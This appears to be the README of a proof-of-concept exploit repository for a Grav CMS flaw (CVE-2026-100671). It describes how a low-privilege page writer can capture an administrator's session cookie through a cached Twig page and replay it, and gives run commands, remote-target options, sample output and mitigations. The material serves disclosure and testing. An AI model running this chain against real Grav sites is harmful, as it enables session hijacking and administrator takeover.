
Local-only proof-of-concept verifier for CVE-2026-100671, reproducing Grav Twig page-cache session-cookie disclosure and replay against loopback targets.
Minimal, target-scoped attacker-side verifier for the Grav content-Twig/page-cache
session takeover fixed in Grav 2.0.25.
Advisories:
The attacker does not have the administrator username or password.
The real chain is:
The administrator action happens outside this script. exploit.py accepts no
GRAV_ADMIN_USERNAME or GRAV_ADMIN_PASSWORD setting.
Loopback is the default safety boundary. A non-loopback target requires the
explicit --allow-remote flag, intended for an authorized HTB, TryHackMe, or
owned lab machine.
The client follows redirects only when they stay on the selected target origin,
uses Python standard-library HTTP clients, applies request timeouts, and prints
the captured cookie only when --show-cookie is explicitly supplied.
Use only against a Grav instance that you own or are explicitly authorized to test. The script creates a public proof page. Remove that page after testing if the target keeps content between runs.
get_cookie() reads the visiting administrator's session cookie server-side.The page-write account needs only the low-privilege write path. It does not need
api.pages.read, admin.*, super-admin access, or administrator credentials.
2.0.19 through 2.0.24: vulnerable with shipped default content-Twig
configuration.2.0.0 through 2.0.18, and 1.7.x: affected only when content Twig
was explicitly enabled.2.0.25: fixed.Run a Grav target with:
This two-file repository does not provision Grav, PHP, plugins, accounts, or an administrator bot. The victim visit remains an external action.
Set only the low-privilege writer credential or token:
export GRAV_TARGET=http://127.0.0.1:8080
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='local-writer-password'
python3 exploit.py
The script creates a random public route, prints its URL, and waits. Have the administrator visit that URL once, then press Enter. The script performs the anonymous collection and local API replay.
Use an existing writer API token instead:
export GRAV_WRITER_TOKEN='local-low-privilege-token'
python3 exploit.py
Useful for a non-interactive terminal or a separate victim browser.
Prepare the page:
python3 exploit.py --prepare-only
Have an administrator visit the printed URL. Then collect and replay using the printed route; no credential is needed for this second phase:
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --show-cookie
--show-cookie prints the captured session cookie for local/authorized lab
debugging:
captured_cookie=grav-site-<hash>=<session-value>
The value is a live credential. Do not paste it into GitHub, issues, chat,
screenshots, or logs. Without --show-cookie, the script proves the same
impact through the replay status while keeping the value out of output.
If collection runs before the administrator visit, the attacker request may populate the cache with an empty value. Prepare a new random route and repeat.
Do not hardcode a machine IP in the repository. Supply the current target at runtime:
export GRAV_WRITER_USERNAME=low
export GRAV_WRITER_PASSWORD='writer-password'
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--prepare-only
After the administrator/bot visits the printed URL, collect and replay:
python3 exploit.py \
--target http://10.10.10.25:8080 \
--allow-remote \
--collect-only \
--route /cookie-proof-XXXXXXXX \
--show-cookie
--base-url remains a compatibility alias for --target. Remote HTTP prints
a cleartext warning; use HTTPS where the machine supports it.
page_create_status=201
victim_action_url=http://127.0.0.1:8080/cookie-proof-XXXXXXXX
anonymous_page_status=200
cookie_name_disclosed=yes
cached_cookie_visible_to_attacker=yes
captured_cookie=grav-site-<hash>=<session-value>
replayed_cookie_api_status=200
result=VULNERABLE
The captured_cookie line appears only with --show-cookie.
Run the same two-phase flow against Grav 2.0.25 or later, then collect with:
python3 exploit.py --collect-only --route /cookie-proof-XXXXXXXX --expect fixed
Expected fixed behavior: no attacker-visible session value and no successful
session replay. A clean fixed result exits 0 with --expect fixed.
Upgrade to Grav 2.0.25 or later. For older deployments, the advisory lists
these temporary controls:
security.twig_content.process_enabled: false; orsystem.pages.never_cache_twig: true;Do not treat HttpOnly, Secure, or SameSite as a fix: the vulnerable
cookie read occurs server-side during Twig rendering.
Reported by canhieu. This repository is a reproducibility aid for the already-public advisory, not a remote scanner or a credential-harvesting tool.